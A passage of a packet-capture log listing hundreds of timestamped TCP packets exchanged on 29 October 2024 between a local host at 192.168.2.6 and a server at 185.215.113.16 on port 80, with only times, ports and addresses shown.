Oct 29, 2024 20:44:56.593904018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.593930960 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.593945026 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.593981028 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.594105959 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.594162941 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.594172955 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.594312906 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.594327927 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.594341993 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.594347954 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.594376087 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.595890045 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.595971107 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.595984936 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596004963 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.596108913 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596124887 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596139908 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596147060 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.596172094 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.596425056 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596508980 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596522093 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596566916 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.596636057 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596651077 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596664906 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596685886 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.596708059 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.596908092 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596921921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596935987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596951008 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.596952915 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.596992970 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.597198009 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.597212076 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.597292900 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.597428083 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.597443104 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.597457886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.597472906 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.597484112 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.597486973 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.597500086 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.597507954 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.597513914 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.597528934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.597532034 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.597560883 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.598016977 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598031044 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598046064 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598058939 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598073959 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598084927 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.598088980 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598119020 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.598517895 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598531961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598547935 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598562002 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598573923 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.598577976 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598592043 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598607063 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.598613024 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.598628998 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.599148989 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.599163055 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.599178076 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.599184990 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.599191904 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.599206924 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.599211931 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.599220037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.599235058 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.599237919 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.599241018 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.599256039 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.599260092 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.599272013 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.599284887 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.599292994 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.599328995 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.600032091 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600048065 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600063086 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600079060 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600091934 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600097895 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.600106955 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600116014 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.600122929 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600137949 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600142002 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.600152969 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600167990 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600177050 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.600183964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600202084 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.600900888 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600914955 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600929022 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600941896 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.600944996 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600960970 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600969076 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.600975037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600990057 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.600992918 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.601027012 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.636358023 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.636396885 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.636413097 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.636440992 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.663933039 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.663995981 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.664011002 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.664046049 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.664081097 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.664184093 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.664199114 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.664232969 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.679698944 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.679742098 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.679755926 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.679783106 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.710998058 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.711044073 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.711061954 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.711071968 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.711137056 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.711186886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.711204052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.711231947 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.711244106 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.711247921 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.711288929 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.711498976 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.711512089 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.711637020 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.712872982 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.712949038 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.712965012 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.712990046 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.713082075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713175058 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.713210106 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713224888 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713243008 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713255882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713304996 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.713304996 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.713440895 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713454008 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713591099 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.713610888 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713627100 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713643074 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713666916 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.713670015 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713687897 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.713713884 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.714025974 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714068890 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.714091063 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714107037 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714123964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714139938 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714144945 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.714193106 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.714564085 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714580059 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714595079 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714643002 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.714838982 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714854956 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714879036 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714879990 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.714895010 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714910030 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714925051 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714935064 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.714941025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714956999 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714968920 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.714973927 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.714979887 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.715009928 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.715678930 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.715698004 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.715713978 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.715728045 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.715729952 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.715747118 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.715763092 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.715770960 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.715776920 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.715791941 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.715811968 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.715827942 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.715843916 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.715889931 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.715889931 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.715914965 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.716571093 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.716589928 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.716605902 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.716619968 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.716623068 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.716638088 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.716639042 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.716654062 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.716670036 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.716686964 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.716686964 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.716703892 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.716711044 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.716721058 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.716736078 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.716744900 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.716773987 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.717488050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.717505932 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.717524052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.717540979 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.717550993 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.717556953 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.717571974 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.717577934 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.717590094 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.717606068 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.717621088 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.717624903 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.717636108 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.717650890 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.717675924 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.717675924 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.718312025 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.718329906 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.718346119 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.718359947 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.718364954 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.718380928 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.718389988 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.718437910 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.718437910 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.753165960 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.753200054 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.753218889 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.753263950 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.753309011 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.780769110 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.780814886 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.780832052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.780898094 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.780934095 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.781030893 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.781071901 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.796514988 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.796552896 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.796569109 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.796654940 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.796654940 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.827658892 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.827711105 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.827728987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.827776909 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.827863932 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.828084946 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.828140020 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.828250885 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.828269005 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.828294992 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.830063105 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830122948 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830140114 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830147028 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.830212116 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.830319881 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830467939 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830483913 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830499887 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830517054 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830521107 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.830544949 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.830940008 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830955982 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830971956 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830987930 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.830996037 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.831006050 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.831020117 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.831020117 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.831037045 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.831046104 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.831052065 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.831068993 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.831074953 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.831146002 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.831654072 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.831671953 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.831687927 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.831707954 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.832202911 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.832220078 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.832236052 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.832251072 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.832259893 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.832268000 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.832282066 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.832284927 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.832297087 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.832298994 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.832321882 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.832339048 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.832355976 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.832360029 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.832371950 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.832381010 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.832415104 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.833292961 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833309889 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833326101 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833342075 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833355904 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833368063 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.833373070 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833388090 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833395004 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.833406925 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833410978 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.833420992 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833447933 CET	62422	80	192.168.2.6	185.215.113.16
Oct 29, 2024 20:44:56.833625078 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833640099 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833662987 CET	80	62422	185.215.113.16	192.168.2.6
Oct 29, 2024 20:44:56.833662987 CET	62422	80	192.168.2.6	185.215.113.16
